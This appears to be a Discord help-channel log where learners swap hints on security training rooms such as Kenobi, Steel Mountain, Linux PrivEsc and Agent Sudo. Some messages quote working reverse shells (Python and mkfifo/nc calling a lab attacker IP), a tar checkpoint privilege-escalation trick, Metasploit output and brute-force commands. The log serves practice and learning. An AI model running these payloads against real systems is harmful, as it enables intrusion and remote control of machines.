#room-hints

1 messages · Page 102 of 1

faint furnace
#

Hello all, I'm stuck in the Jr. Pen testing room on the Authentication Bypass, task 3. I can't get the ffuf to work correctly to get the password. Any tips?

tranquil rain
#

AgentSudo question. I how do I steg the images? I have exiftool installed on my mac, but idk what I'm doing with it.

#

I just did some reading, looks like I'm using the wrong tool.

waxen mica
#

Depends what you're trying to extract

hollow scarab
dry gate
#

yeah I was going to mention steghide

white salmon
#

Hi. In The room "Windows Event Logs" Task 2 Question:
Filter on Event ID 4104. What was the 2nd command executed in the PowerShell session? --) I cant find this answer. Where can I find it? Thanks for the help in advance 🙂

vagrant dove
vivid plover
#

Hi Team
I could not find Flags after clicking on the website link provided
Room : Walking An Application - Jr. Penetration Tester
Viewing the page source I could not find the answers to the questions
please help me on this

vivid plover
#

I found answers myself

tight ice
#

@inland cargo wanna gimme another hint about priv ESC pepoevillaugh pepoevillaugh

inland cargo
#

Sure thing. One sec, lemme get my notes.

inland cargo
green minnowBOT
#

Gave +1 Rep to @inland cargo

tight ice
#

ill try that in a bit

#

even tho the machine says treat it like a real test, i have not. BUT i have learnt alot

#

regardless

mystic hill
#

Hello everyone, anyone able to help me?
I'm on Cross-site Scripting room on task #3 and I don't understand this question and thus can't answer it, maybe I'm missing something...

#

"Where in an URL is a good place to test for reflected XSS?"

prime willow
tight ice
#

i presume i was wrong

#

gonna try that method

inland cargo
tight ice
#

juicy potato

inland cargo
#

🖨️

tight ice
tight ice
inland cargo
#

Had fun?

#

also

tight ice
#

tysm

#

@inland cargo tysm

#

why wont it give you rep

tight ice
green minnowBOT
#

Gave +1 Rep to @inland cargo

tight ice
#

ah there we go

mystic hill
jaunty cloud
#

hello! Im on Kenobi

#

i tried copying the id_rsa on kenobi to a newly created id_rsa that i left empy

#

empty*

#

here it is showing that it was successful. i said put it in var/tmp/id_rsa

#

but when I open id_rsa, nothing is there... am I missing something?

#

unless the CPTO is still on the machine instead of my tmp

waxen mica
jaunty cloud
sharp bloom
#

Does anyone have a hint for the last question in revil-corp?

sharp bridge
woven wedge
#

I am also having the same issue . Did you manage to sort it out ?

hollow steeple
#

Hello, i have created a room 10 days ago. And i am waiting for the possibility to became Public. How much time do i have to wait ?

grave needle
#

Can't seem to get the brute force to work in Authentication Bypass room I tied ffuf and hydra. This is my hydra command
hydra 10.10.137.106 http-form-post "/customers/login:username=^USER^&password=^PASS^:Invalid" -L valid_usernames.txt -P Downloads/SecLists-master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -t 10 -w 20 -o hydra.txt

#

returns with 0 results

left thunder
grave needle
left thunder
grave needle
lost swan
lost swan
#

in the crotab exploitation, after every 5 min. the file autoscript.sh will run automatically righ

#

right

#

i have added a reverse shell of python in it as the msfvenom one didn't work

#

but still i am not able to get a shell

polar finch
#

what is the command that is run by the job?

lost swan
#

*/5 * * * * root /home/user4/Desktop/autoscript.sh

#

every 5 min. the script should run right ?

#

user4@polobox:~/Desktop$ cat autoscript.sh
touch /home/user4/abc.txt
echo "I will automate the process"
bash -i
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.5.249",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

polar finch
#

i think you're adding a layer of complexity by trying to call a python oneliner in a bash file - try and do the same thing locally. put your python oneline in a file called "test.sh" and see if you can connect back to your listener

#

if you can't, then there is something wrong with your code

lost swan
#

ok

#

let me do that

#

File "/home/toufique/test.py", line 1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.5.249",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
^
SyntaxError: invalid syntax

#

it's saying invalid syntax

polar finch
#

you don't want a .py file, you want a .sh file - you're trying to replicate the conditions on the box, that runs the .sh file with bash

lost swan
#

ohhh

#

wait a second.

#

yeah! i got a connect

#

but i didn't got one thing the code is in python and i am running as .sh

#

???

polar finch
#

you're running a bash script but you're calling "python" to run the python command, it's wierd but if it works for you, it works

#

so given that it works locally, you need to work out what is broken in the remote case. is python available on the box you're targeting? and what is that "bash -i" command doing in autoscript.sh, it just seems to be hanging around?

lost swan
#

no no after making it .sh file

#

then i was able to connect

polar finch
#

yeah, i get it

lost swan
#

but it's not working on target

#

machine

polar finch
#

yep, so what's the difference? look at the two questions i asked you above

left thunder
lost swan
#

i used that too

#

the unix reverse shell

#

that isn't working

polar finch
#

look at the two questions i asked you above, i think one of those questions will solve your problem

left thunder
lost swan
#

i think u caught the fault

#

just explain me one thing that when we try to run a python script we use something like python3 FILENAME

#

right

#

but as the file has .sh extension how will it run without python3

#

in cron

left thunder
polar finch
#

yeah, the problem you're having is that you've left the call to "bash -i" in your script, so the script never makes it to your reverse shell. i was trying to you go through the troubleshooting steps to get there yourself

lost swan
#

liner

#

lets see if it works

polar finch
#

you can call python or any other binary from a bash script - that's what you're doing when you use the word "python", and then the "-c" flag is to make python execute a command directly rather than intepreting a file. so you're running a .sh script wiht bash, and when bash gets to that line it says "ok, so now i'll invoke python". it's a bit of strange way to do it, and you probably should have stuck with the msfvenom payload mentionned in the room, but if it works, it works.

lost swan
#

i got, bash is internally calling python at that line

polar finch
#

don't forget to restart your listener, 5 minutes is a long time to wait

lost swan
#

i did that

#

it's not working, let me try with the unix one again

polar finch
lost swan
#

user4@polobox:~/Desktop$ cat autoscript.sh
mkfifo /tmp/ryvtcat; nc 10.9.5.249 8888 0</tmp/ryvtcat | /bin/sh >/tmp/ryvtcat 2>&1; rm /tmp/ryvtcat

polar finch
#

ok, usually i wouldn't suggest changning lots of things at once because you're back to square one with troubleshooting, but ok. so that version is not working?

lost swan
#

i haven't received a connect back

#

from past 45 min. i am doing this one thing

polar finch
#

that payload is the msfvenom payload suggested by the guide, I imagine? what is your listener syntax

lost swan
#

the machine expired

#

i need to do again

polar finch
#

ok

lost swan
#

at this time it should work as i have restarted the machine

#

also rewrote the contents of file

polar finch
#

so this time, go slowly. make a file on the remote machine with your payload, then run it. make sure the payload can connect back just by you running it normally.

lost swan
#

ok

#

when i run manually

#

it's saying /tmp/ryvtcat file exists

#

permission denied

polar finch
#

the first line is ok, you're getting permission denied because it isn't executable i imagine. chmod +x yourfile

grave hamlet
#

@polar finchcan i dm you something ?

#

its about

#

file inclusion room

#

first challenge

polar finch
#

maybe in a bit, i just want to see if payload10 can sort out thier problem

grave hamlet
#

ok ty ^^

lost swan
#

the script is executing but i am not getting connect

polar finch
#

ok, i copied your payload onto a local machine and it works for me. do you have the right IP address?

lost swan
#

yes yes

#

to make sure no error of IP address i copied the ipaddress from ifconfig command

#

instead of typing manually

polar finch
#

i'm going to launch the box and try your method, locally for me everything is working. how are you connected to the VPN?

polar finch
#

and that is on your virtual machine? not on your host machine?

lost swan
#

also, i noticed that i wasn't able to fetch files using python server

lost swan
polar finch
#

yeah i understand, and openvpn is running on your virtual machine, not on the host machine?

lost swan
#

i am confused, host meaning

#

you are saying my local machine

#

right

polar finch
#

so you have your vm, and then you have your actual machine, the maching hosting the VM. is openvpn running on your kali VM, or your actual machine?

lost swan
#

my actual machine

polar finch
#

that is the problem. you need to be running openvpn on the same machine that makes and receives connections to and from the target

#

otherwise anything connecting back from the targets to you will fail

lost swan
#

i just have kali

#

and i have the target machine

polar finch
#

so you need to run openvpn from your kali machine

lost swan
#

yeah! i am running it in my downloads folder

#

and so i am able to access the machines

#

of tryhackme

#

else i wouldn't

left thunder
#

I think you have never clarified with each other if he is using a virtual kali machine or an installed kali machine ^^ Just trying to solve that miscommunication about that 😄

polar finch
#

yeah i had assumed kali was a VM. so i just ran your payload on the box and everything is working, the fact that you're not able to make any connection back from the target machine sounds like it might be a VPN problem. is the kali machin you're using a virtual machine?

lost swan
#

i am not using the virtual machine actually i was confused between the host and virtual and all those things

lost swan
#

i have dual boot

#

windows + kali

left thunder
lost swan
#

no no

#

just tun0

#

the other is wlan0 and eth0

#

which is not an issue

polar finch
#

and you said that you're not able to make any kind of connection to your machine, right? you tried with a python http server, with apache, and the target can never reach your host machine?

lost swan
#

yes yes

#

i tried extracting the linEnum

#

using wget

#

it didn't worked neither with python server not with apache 2

left thunder
# lost swan yes yes

If you are doing curl 10.10.10.10/whoami are you getting a response with your actual tun0 IP ?

lost swan
#

wait

#

let me check

polar finch
#

well i'm ouf of ideas. i can confirm that your last mkfifo payload works on the box, it really sounds like you're having VPN problems. sorry pal.

lost swan
#

thank you for helping @polar finch

green minnowBOT
#

Gave +1 Rep to @polar finch

left thunder
# lost swan ok.

Try sudo ifconfig tun0 mtu 1200 and then make sure you nc listener is set up correct, with the correct port etc. In case that doesn't solve your issue put the mtu setting back to 1500

lost swan
#

ok

lost swan
#

@left thunder

#

i will try that later

#

than k you for helping @left thunder

polar finch
#

just out of curiosity, have you ever had a reverse shell work over the VPN? is this the first time you've had problems?

left thunder
lost swan
#

this is the first time

#

can you suggest me a simple machine

#

where i can get a reverse connect

#

to confirm everything's working fine

#

any simple machine on thm

polar finch
#

just any walkthrough machine, go back to linux fundamentals and try and connect back to your home machine

lost swan
#

after doing ssh into the machine ?

left thunder
# lost swan any simple machine on thm

Well ye, the target machine you were actually using for example, you can just manually execute the script to check if you get a connection, so without that you have wait 5 mins

lost swan
#

i am not getting a shell

#

back

left thunder
lost swan
#

i will do

#

first let me confirm using the network services machine whether i am able to get a connect or not

#

to confirm that everything is fine

lost swan
#

i am doing the steel mountain ctf

#

but after using metasploit

#

i am getting this output

#

msf6 exploit(windows/http/rejetto_hfs_exec) > run

[] Started reverse TCP handler on 10.9.5.249:4444
[
] Using URL: http://0.0.0.0:8080/22SBNpkjs
[] Local IP: http://192.168.1.102:8080/22SBNpkjs
[
] Server started.
[] Sending a malicious request to /
[
] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\nibQX.vbs' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/rejetto_hfs_exec) >

lost swan
#

@polar finch

#

it was the firewall that was troubling

#

@left thunder is really an elite hacker

#

@left thunder thank you buddy

green minnowBOT
#

Gave +1 Rep to @left thunder

idle basalt
#

hello im working on task 3 of CompTIA Pentest Gettin' [CA] Certified. do i need to do all the Firefox stuff if i have viral box ? if so do i do it in the viral box it self or on my ow internet google chrome?

glass eagle
idle basalt
idle basalt
jaunty cloud
#

i am working on cracking the hashes and i am trying to find a way to limit the password length to only 4 letters. as in i know the password is 4 letters. here is what I have so far and im having a hard time finding docs to back this up

#

when i type john --format=bcrypt sha --wordlist=/usr/share/wordlists/rockyou.txt --stdout=4

#

it says invalid options combination or duplicate option: "--format=bcrypt"

#

so that has to mean im doing the stdout=4 because --format brcypt is fine

#

and sha is the file in this example

glass eagle
green minnowBOT
#

Gave +1 Rep to @glass eagle

glass eagle
jaunty cloud
#

what if i dont need it to output to a file just simply stop when you find the password, which is 4 char

#

thank you burpingbeetle

glass eagle
#

in this case, its not even taking an input file to match, its just generating matching patterns.

jaunty cloud
#

so a standard john --format=bcrypt --wordlist=WORDLIST

#

what is used to let the program know i want to limit my search to only password combinations of 4 letters, let me know if i am trying to do something that is not workable with john

glass eagle
#

thats what i would do.. but i was trying to look at the single-crack mode. i haven't used that in a while

jaunty cloud
#

yeah i was just told for this specific example, bcrypt takes forever, so its good to limit the search

#

thanks for the help anyway

glass eagle
#

gimme a few minutes to look at it :p

jaunty cloud
#

yeah the example was talking about hashcat with the filter feature, but I would be surprised that john doesnt, but im having a hard time finding that feature

glass eagle
#

maybe not in the default john, but it's in the bleeding-jumbo extended package

git clone https://github.com/openwall/john -b bleeding-jumbo /opt/john-bleedingjumbo

jaunty cloud
#

im finding <N

glass eagle
jaunty cloud
#

i see this

#

<N reject the word unless it is less than N characters long

#

but i tried like <N or <5, didnt have much success unless simply using it wrong

#

let me see about git clone

glass eagle
#

i always keep a copy of bjohn around. it comes with the ssh2john, rar2john, zip2john, unshadow (/etc/shadow) and more

jaunty cloud
#

let me take a look

#

└─$ sudo git clone https://github.com/openwall/john -b bleeding-jumbo /opt/john-bleedingjumbo
[sudo] password for kali:
Cloning into '/opt/john-bleedingjumbo'...
remote: Enumerating objects: 94408, done.
remote: Counting objects: 100% (348/348), done.
remote: Compressing objects: 100% (217/217), done.
remote: Total 94408 (delta 163), reused 247 (delta 131), pack-reused 94060
Receiving objects: 100% (94408/94408), 117.18 MiB | 23.11 MiB/s, done.
Resolving deltas: 100% (74063/74063), done.
Updating files: 100% (1960/1960), done.

GitHub

John the Ripper jumbo - advanced offline password cracker, which supports hundreds of hash and cipher types, and runs on many operating systems, CPUs, GPUs, and even some FPGAs - GitHub - openwall/...

#

here what the output

glass eagle
jaunty cloud
#

cant I just use bjohn now? says its not a command

glass eagle
#

oh. i used an alias.
alias bjohn='/opt/john-bleedingjumbo/run/john'

jaunty cloud
#

ohh

glass eagle
#

or whatever directory you set it to. couple differences since it's in a different directory. the potfile is in /opt/john-bleedingjumbo/run/john.pot (instead of ~/.john/

jaunty cloud
#

i think youre alittle over my head in the the path and what not. i do get what youre trying to get at but just not in it right now... starting again tomorrow

#

thanks for the help

glass eagle
lost swan
#

In steel mountain room, we have our target machine architecture as x64, then why are we creating x86 payload with msfvenom

left thunder
left thunder
lost swan
#

see, the thing is, when you get a reverse shell and do sysinfo

#

the target architecture is x64, ok

#

but, when we are trying to exploit the unquoted path service at that time we are creating a payload using msfvenom where we are using x86 architecture for creation of payload

#

stageless

left thunder
#

Ok, well in general, x86 programms or payloads most likely can run on a x64 target machine. But a x64 programm or payload most likely can not run on a x86 target machine. So that means you will have more success with getting a shell if you are using a x86 payload. But don't take that as 100% right, that's how I think it works.

lost swan
#

but this line is confirmed , that x86 programs ---> win32 + win64 and x64 programs ---> only win64

#

right

left thunder
lost swan
#

it works the same way u told.

fleet dust
lost swan
#

in steel mountain manual exploitation, when i try to fetch winPEAS at the windows machine using certutil command, it fetches the file but when i do "dir" no file is shown up..

fleet dust
lost swan
#

it isn't extracting

#

sorry i mean it's extracting, but after that no file is shown uo

fleet dust
lost swan
#

i am currently running a cmd shell on target

#

how to get into powershell

fleet dust
#

I don't know, maybe tha machine has some rules to block some connections and downloads

#

wait one second

lost swan
#

but i saw hackersploit video

#

he has done that and it worked absolutely fine

fleet dust
#

powershell Invoke-WebRequest “http://<attacker-ip>/resource” -OutFile “C:\Path\to\save\resource”

#

try with that, change tha path to download the file and your ip

lost swan
#

how do i start powershell 😂

#

what is the command can u help

fleet dust
#

it's not necesary

lost swan
#

ok

fleet dust
#

you can run that on cmd

lost swan
#

and instead of “C:\Path\to\save\resource” i can use a dot to save it in current directory

#

right

fleet dust
#

yes

#

i think so

lost swan
#

C:\Windows\Temp>powershell Invoke-WebRequest http://10.9.5.249/PowerUp.ps1 -Outfile .
powershell Invoke-WebRequest http://10.9.5.249/PowerUp.ps1 -Outfile .
Invoke-WebRequest : Access to the path 'C:\Windows\Temp' is denied.
At line:1 char:1

  • Invoke-WebRequest http://10.9.5.249/PowerUp.ps1 -Outfile .
  •   + CategoryInfo          : NotSpecified: (:) [Invoke-WebRequest], Unauthori 
     zedAccessException
      + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.Pow 
     erShell.Commands.InvokeWebRequestCommand
    
    
    

C:\Windows\Temp>

fleet dust
#

try putting the name of the resource

lost swan
#

NAME OF RESOURCE is PowerUp.ps1

#

this is the file i want

#

ok u mean

#

dest.

fleet dust
#

yeah

lost swan
#

same issue

fleet dust
#

mm, maybe you do not have permissions, i don't know

#

maybe it's the firewall

#

try mounting a smb server with impacket

lost swan
#

i am exploiting beginner level machine

fleet dust
#

XDDDDDDDDD

lost swan
#

😆

#

thank u for helpin @fleet dust

green minnowBOT
#

Gave +1 Rep to @fleet dust

fleet dust
#

you're welcome and I am sorry if i could not help you xD just remember, you can do it

lost swan
#

yeah

prime willow
lost swan
#

nothing is working out

#

and i am running out of ideas

prime willow
#

oh shit, I just scrolled up.. Sry. Hmm.. Attack box or own machine?

lost swan
#

own

#

machine

prime willow
#

vm?

lost swan
#

no

#

dual boot

#

kali + windows

prime willow
#

Now it is me that is running out of ideas..

#

vpn connection okay?

lost swan
#

it worked for him fine

lost swan
#

whereas one file is getting extracted

#

ASCService.exe

#

the one that i created using msfvenom to overwrite the file

#

but winPEAS and PowerUp.exe isn't getting extracted, i mean it get's extracted from my machine successfully, but when i type "dir", no file is shown up.

prime willow
#

Steel mountain, right?

#

So, here it is actually pretty late, but I'll try that out tomorrow myself. Now I'm curious...

lost swan
#

see the metasploit exploitation worked absolutely fine

#

try the manual one the last task, ok

prime willow
lost swan
#

sure.

#

please, do pin me here, so if i am offline i will get a notification on mobile....

grave hamlet
#

thank you @left thunder

green minnowBOT
#

Gave +1 Rep to @left thunder

jaunty cloud
#

does anybody have experience crafting hashcat given i know exactly howmany letters are in a password I am trying to crack

#

i tried this yesterday but im not giving up on this...

#

im using hashcat -m 3200 hashfile WORDLIST

#

but i want to specify that its 4 lowercase letters

#

i tried -1 ?l?l?l?l but that is not correct

#

im looking at the attackmode currently and seeing if that is the key for my hashcat to tell the program that im using a wordlist and a mask

waxen mica
# lost swan kali + windows

No idea what your problem was but I saw you said that you have kali dual booted with windows. You do you, just a warning, windows dosent take kindly to being dual booted and it can sometimes mess with kali

lost swan
lost swan
prime willow
lost swan
#

I used powersheel -c and then -outfile

prime willow
lost swan
#

This command.

prime willow
lost swan
#

Yeah

#

I needed to make a youtube video so i was in a hurry

#

As soon as i got the problem solved i created and today my subscription got over.

#

🤣

orchid urchin
white salmon
orchid urchin
#

thanks man!

white salmon
#

npnp

modest dragon
#

i don't run the scp command in the python window right? I do that in a separate terminal tab?

#

or do they just want me to do wget

glass eagle
#

when you run the python module, that terminal is busy hosting a webserver. you need another terminal

modest dragon
#

right

#

i am running the commands in a separate one

#

i keep getting could not resolve hostname http: name or service not known

#

so i tried not using the http on the front but still get errors

glass eagle
#

on the target machine, you'll go the the ~tryhckme directory, then run something like
python3 -m http.server 8000

#

from your attackbox, you can then
wget http://<MACHINEIP>:8000/<FILE>

modest dragon
#

ooh ok, so i run the python server while logged in via ssh

glass eagle
#

the python webserver will show any requests to the site

modest dragon
#

it looks like i did do that

#

yeah its showing requests but theyre not working

#

[21/Nov/2021 16:12:12] code 404, message File not found

glass eagle
#

yes. you want to exfiltrate data, so you login. host a website making that folder visible.

modest dragon
#

ok, i am hosting it on the ssh'd machine

glass eagle
#

ensure you are in the correct folder, and 2, you have the correct filename.

modest dragon
#

└─$ scp tryhackme@10.10.226.225/home/tryhackme/.flag.txt final.txt
cp: cannot stat 'tryhackme@10.10.226.225/home/tryhackme/.flag.txt': No such file or directory

┌──(kali㉿kali)-[/tmp]
└─$ scp tryhackme@http://10.10.226.225/home/tryhackme/.flag.txt final.txt 1 ⨯
ssh: Could not resolve hostname http: Name or service not known

#

the server is running in home/tryhackme (where the .flag is)

#

oh dur i guess i dont have to download the file

glass eagle
#

you want to CURL or WGET the file. its a website now

modest dragon
#

i thought they wanted me to download it before cating it

glass eagle
#

you dont have to, but it's necessary concept to understand

modest dragon
#

yeah 😩 a lil sleep deprived today. ty for the help

glass eagle
modest dragon
#

ah ok i thought it wanted scp since it was lower down on the lesson. ty

ripe hedge
modest dragon
#

ah ok i thought i tried that but probably had something else wrong. ty

#

so after the 8000?

#

or the 8000/

#

@ripe hedge

left thunder
jaunty cloud
#

if you run two hydras on a computer, will it slow down the other, cut out my current hydra, or be just fine?

#

i want to try a couple different usernames and didnt know if it would be a problem if i try each username at the same time

#

thanks!

#

this will all be on on vm but i guess i could fire up another vm to run there as well

white salmon
#

need hinsts for task6 REDLINE machine

#

just owner

#

but no work path

loud nebula
jaunty cloud
#

do you put a comma like -L 1,2?

#

or -l 1,2. imean

midnight anchor
#

note: if its just a username use -l

jaunty cloud
#

right so you cant put more than one on -l

midnight anchor
#

I dont really know and i didnt see it, but creating a file is easier tbh

#

especially when you want to test a higher number of usernames

jaunty cloud
#

makes sense

#

thanks

loud nebula
#

Don't forget man hydra exist

jaunty cloud
#

true but would that have told me that you cant put more than one user in -l

#

guess ill have to look to figure out!

modest dragon
#

trying to grind through the linux stuff so i can start hackin again

#

i know it's a good foundation to have

midnight canopy
#

Hi guys

#

I've done exactly what task 7 (Web application - OWASP TOP 10)says. but its not working out. Ive been on it for almost an hour now. Can anyone help please.

midnight canopy
#

The goal is to register an account with " darren" but i still get account already registered, not what i was expecting

#

To see this in action go to http://10.10.233.53:8888 and try to register a user name darren, you'll see that user already exists so then try to register a user " darren" and you'll see that you are now logged in and will be able to see the content present only in Darren's account which in our case is the flag that you need to retrieve.

honest wagon
#

Try restarting the machine and registering darren with a space again

midnight canopy
#

I did

#

same thing

honest wagon
#

I'll check the room, one moment

left thunder
honest wagon
#

Checked. It works.

Double check that u are registering darren and logging in as darren

midnight canopy
#

sorry i dont quite understand

#

i will send a video now

#

@honest wagon please check the video

honest wagon
#

Nice tunes

#

Oh, you have quotes there

#

enter darren not " darren"

#

Oh u did

#

live reaction video XD

left thunder
#

As far as I saw there is no leading space at all.

#

That's the idea behind that. A user darren already exists, but as the application seems to not get rid of leading spaces while registering another account, it will deem the user darren (with a leading space) as a different user in the registration process.

honest wagon
#

@midnight canopy hop in small study room, i'll screenshare if you want

#

I think i see a space there

midnight canopy
#

yes i made sure i added a single space

honest wagon
#

started a screenshare in small study room

left thunder
honest wagon
#

@midnight canopy watching?

#

:3

#

@midnight canopy so u see, it works

#

u might have registered another spacedarren already

left thunder
#

Spacedarren, out of this world 😄

honest wagon
#

try darren

#

two spaces

#

should still work, just checked

#

@midnight canopy since that worked, you probably already registered a spacedarren previously, so that account was already taken :3

#

room reset would have fixed that

midnight canopy
#

Thank you so much @honest wagon #RESPECT

green minnowBOT
#

Gave +1 Rep to @honest wagon

cunning willow
#

Hello all. I'm stuck in the Post-Exploitation Basics room. I'm trying to transfer the loot.zip file from the victim to AttackBot via scp but it keeps asking me for root's password. I've gone into the sshd_config file to remove pwd challenges and yet the problem persists. Any thoughts?

#

C:\Users\Administrator> scp .\20211122145652_loot.zip root@10.10.54.62:22/roo
t/loot.zip

midnight anchor
cunning willow
#

Well that's hilarious, isn't it? Ok, in my defense I just tried it on AttackBot and it's still asking for pwd lol

midnight anchor
cunning willow
#

I have one but I run into issues with that as well I end up jumping between the two machines

honest wagon
#

scp remote_username@remote_ip:/remote/file.txt /local/directory would be the syntax, and the credentials asked are for remote machine

lament comet
#

#empline

lament comet
#

Any hints on empline

#

Got nothing in reconn

lost swan
#

linuxprivesc

#

task 10

#

what is going on ? I created a file with msfvenom and then moved to the machine using wget

#

I made the file executable

#

and then what are these below 2 files about

#

touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf

#

also, can someone please also explain me what is going on in the crontab

glass eagle
glass eagle
#

you you use a msfvenom payload, or as local script "exploit.sh", which could give you access in a few lines of bash code

glass eagle
lost swan
#

Kk

#

Thank you @glass eagle

green minnowBOT
#

Gave +1 Rep to @glass eagle

barren remnant
#

Hi

glass eagle
barren remnant
#

Yes?!

midnight anchor
glass eagle
#

heh. i was afk in this channel only one i saw so far

barren remnant
#

It said that i needed to do that for verification

midnight anchor
#

!docs verify

proud scarabBOT
barren remnant
#

The website

glass eagle
#

get your verification code and talk to the bot

barren remnant
#

Then i got trolled 😡

dry gate
#

...

worn token
acoustic mountain
#

HI

glass eagle
lyric lava
#

im in the redline room task 3 the question asks
Where in the Redline UI can you view information about the Logged in User?
i have red the manual i have went through ever tab and drop down menu. the answer is two words 6 and 11 letters

midnight anchor
shy pagoda
#

Hello everyone! For Lian_Yu room, am I on the right track by downloading the website's image?

shy pagoda
honest wagon
#

If i remember correctly == iirc

shy pagoda
green minnowBOT
#

Gave +1 Rep to @left thunder

shy pagoda
honest wagon
shy pagoda
#

not sure what's the cooldown for the rep, but will thank you again 😄

left thunder
honest wagon
#

It's fine, i have plenty

shy pagoda
#

saw "steganography" in the category of the room and thought maybe the picture could be something, even found some zlip using binwalk on it, but I'm not sure if that could be anything valuable

#

zlib*

left thunder
shy pagoda
#

got it, thanks 😄

tardy pumice
#

I've decided I don't know what I'm doing with Metasploit from the Network Services 2 room I was in and not doing well with... so I started the Metasploit room and I feel like I am missing something still.. When running "vulns", it's giving a couple of... vulnerabilities? But what am I looking at, can anyone explain / simplify it for me?

honest wagon
#

For example in your screenshot the host 10.10.224.231 was scanned on october 30 2020 and cve-2017-0143 was found among others

#

Aka ms17-010 rce in smb

tardy pumice
green minnowBOT
#

Gave +1 Rep to @honest wagon

honest wagon
#

Those are reference blogposts

#

Some of them might be ded.

#

That is common for older vulnerabilities

tardy pumice
#

Hmmm ok. So, now I'm kind of seeing how they're broken apart, it's just a bit tough to read. I think I may have copied a big blob over when I pasted it... oops..

honest wagon
#

As blogs go down with time

tardy pumice
#

Yeah, makes sense.

#

Awesome, thanks!

honest wagon
tardy pumice
#

Now I'm really able to see what's going on with that blob of text.. why is the room having me "use icecast" when it's the doublepulsar that is being mentioned throughout the vulns response?

honest wagon
#

Not sure how u ran the scan. But considering they were from 2020

#

Maybe you didn't detect anything

tardy pumice
#

It was just from the room. No worries, I'll just keep moving 🙂

solid radish
#

for the cybercrafted room, are we supposed to fuzz the subdomains?

candid token
#

HI, anyone can give me hint in ICE room? im stuck after nmap

#

nvm

atomic ice
#

I could use some help with AOC2, day 11. I'm stuck with SUID bit, I don't know how to get priv esc

left thunder
atomic ice
#

okay

#

yeaah I'm root 😄

ripe hedge
obtuse jolt
#

Hi guys, i need some help on room :Wonderland..
I found the ssh login for Alice. Now im trying to escalate my priv.
I found out that i can run a pythonscript (a poem) within there is a module "Import random".
I tried to make another .py script named random in the same location as the poem.py but it keeps giving errors...

prime willow
obtuse jolt
#

"" is the first.. isnt that in the same directory as the file is ?

obtuse jolt
green minnowBOT
#

Gave +1 Rep to @prime willow

obtuse jolt
#

i forgot to mention the path to python3.6 after sudo -u rabbit... NotLikeThis

obtuse jolt
#

it worked!! 🙂 now im one step further !! ty

candid token
#

hi i do ICE room, and im stack on task 4
question for exploit suggester

#

architecture for target ix 64 but service (icecast) is running on 86 and after running
run post/multi/recon/local_exploit_suggester
i only got this one output :/
exploit/windows/local/ms10_092_schelevator

#

im also using msf6, may be this be a problem why i dont get correct output as expected in question?

#

i could complete this with a hint where i instead of running post exploit runned search in msf 😦

honest wagon
#

Might be msf version

crude oar
#

I just finished rooting Nax, but the question about the metasploit module does not work with the exploit i used... CVE does match the exploit... checked the writeups and they also use this exploit and mark it as answer.... is there some kind of error? did i do something wrong?

dim owl
#

Hello

trail crescent
#

hey guys, I'm stuck at Skynet - I want to use python3 -m http.server 80 so I can in the end get php reverse shell, but I'm getting "Address already in use"

trail crescent
#

yeah

sturdy hearth
#

The port 80 is used for some service.
Could you use any other port?

#

IIRC, one of the staff members said that one can stop the service using port 80🤔

trail crescent
#

I tried to kill the process running at 80 and got disconnected from the box lol

loud nebula
#

The vnc use port 80, no?

#

Yeah dont

#

Use higher port

#

6969 or something

trail crescent
#

interesting number selection 😄 I will try

sturdy hearth
loud nebula
#

I've read its 80 for vnc on attackbox

#

And the fact nck get disconnected confirm it

sturdy hearth
loud nebula
#

6969 then

trail crescent
#

if I put reverse-shell.php in root folder, and I'm running http server @ 6968, I should point to http://<attackbox>:6968/root/reverse-shell.php , right?

loud nebula
#

You upload the revshell.php directly to the web

trail crescent
#

yes, I was referring to the part of the url after alertConfigField.php=

idle basalt
#

hello im having a problem with the last question burp suite task 9 Help! There's an Intruder! my anwser was a’ OR 1=1-- . but having no luck

left thunder
dry gate
#

yeah, that looks like an apostrophe

#

wait

#

yeah idk what that is lol

sturdy hearth
left thunder
idle basalt
green minnowBOT
#

Gave +1 Rep to @left thunder

tardy pumice
#

Not sure what I'm doing wrong here... "Unknown command: jobs."

left thunder
tardy pumice
#

O.o Huh... Yeah, my bad, I thought they were listing the commands as =. Hmm, so back out, run as a job.

lyric lava
green minnowBOT
#

Gave +1 Rep to @midnight anchor

balmy wedge
#

Anyone wanna help nudge me on jpgchat?

#

I know where I need to be but I can't seem to get it to work.

glad hawk
#

Good evening, fellow persons. I'm working on the Gatekeeper room and can't get the python fuzzer script to connect, or at least, it gets to 100 and disconnects. I've checked syntax 'til I'm blue and it's correct. It seems others have had the same issue with the python fuzzer script not connecting. Any ideas?

#

The first shot there is my result, second is the fuzzer code

#

I know it's not working correctly because it disconnects, but doesn't crash the Gatekeeper exe

#

I just "hand-fuzzed" it and it did crash the server, so I know the general area, but if anyone knows python well enough to let me know where the code is wrong I'd appreciate the head's up. Thx

polar finch
# glad hawk I just "hand-fuzzed" it and it did crash the server, so I know the general area,...

i can't see the problem in your code after looking at it for 10 seconds (and I haven't done the box), but your use of try / except is going to trip you up here. Any exception at all that is thrown in your try block is going to lead to you printing "Could not connect". I'd recommend getting a minimal working version before you start adding try / except, otherwise it's easy to trick yourself when you're debugging that the connection is failing when actually you've created a totally different error

glad hawk
#

Understood, thx

wispy vault
#

Can somebody help me with roads

#

road*

full arrow
#

Hi everyone, I working on intro to linux part 3; I'm stuck at the crontab part. It's asking when the crontab run on the deploy machine, but I don't seen to find a way to look that up. I tried different sites to find answers, but no luck

full arrow
#

first, thank; now I see 4 cron jobs all on root and have different times; however, the question asks about one crontab; I am a little (maybe more than a little lol) confused.

full arrow
#

scr is secure copy used for securely sending files between machines. I don't think that would help, but thanks for ur help 🙏

candid token
orchid pebble
#

Hello guys!

Please some give me a hint on AGENT SUDO room.

I already got the username for J and C and already got the password from the PNG but I can't seems to get the SSH password for J.
I already brute force with rockyou, nothing😭

Somebody please help

left thunder
orchid pebble
#

I'm new to Steg though

